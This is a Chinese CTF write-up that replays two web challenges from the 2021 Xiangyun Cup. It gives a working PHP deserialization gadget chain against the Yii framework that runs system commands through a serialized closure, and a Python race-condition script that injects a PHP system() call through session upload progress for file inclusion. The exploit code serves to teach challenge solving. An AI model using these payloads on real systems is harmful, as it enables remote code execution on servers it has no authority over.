2021祥云杯

Posted 满天星ak

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2021祥云杯相关的知识,希望对你有一定的参考价值。

前言

好多审计题,懒狗的我,自愧不如。赛后借助各位师傅的wp进行复现,不会的题目赛后加强学习知识点,盲看没什么用。

链接

复现平台:https://buuoj.cn/

WEB

ezyii

考点:yii最新反序列化漏洞
这题就是网上有的yii链子,1day好像。利用这个https://xz.aliyun.com/t/9948#toc-6直接拿。
 代码

<?php
namespace Codeception\\Extension{
    use Faker\\DefaultGenerator;
    use GuzzleHttp\\Psr7\\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('Firebasky');
        }
    }

    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\\Psr7{
    use Faker\\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('Firebasky');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');phpinfo();    };
            $a = (\\Opis\\Closure\\serialize($a));
            $b = (unserialize($a));
            $this->source=$b;
        }
    }
}

 得到base64编码,post进行传参即可。

分析可查看这位师傅的博客https://www.cnblogs.com/thresh/p/13743081.html

安全检测

考点:文件包含session条件竞争

这题是去登录进去,然后搜索自己的本地文件http://127.0.0.1,访问不到那尝试一下/admin页面。
得到源码文件包含,还是session条件竞争。只不过这里一直跑条件竞争,手工访问并且添加包含文件也就是我们正在条件竞争的文件。然后在tmp写写入php文件进行包含。

写个脚本跑一下

import io
import requests
import threading
sessid = 'h3'
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'url', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("/getflag.sh");?>'}, files={'file': ('aa.txt',f)}, cookies={'PHPSESSID': sessid} )
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

知识可查看y4师傅。https://blog.csdn.net/solitudi/article/details/109460211

总结

我感觉题目主要还是代码审计。
还需要学习的很多,继续加油。

以上是关于2021祥云杯的主要内容,如果未能解决你的问题,请参考以下文章

第二届“祥云杯”网络安全大赛暨吉林省第四届大学生网络安全大赛 WriteUp 2021年祥云杯misc

2021祥云杯

2021祥云杯

祥云杯2021 Web复现

祥云杯2021 Web复现

WP-2021祥云杯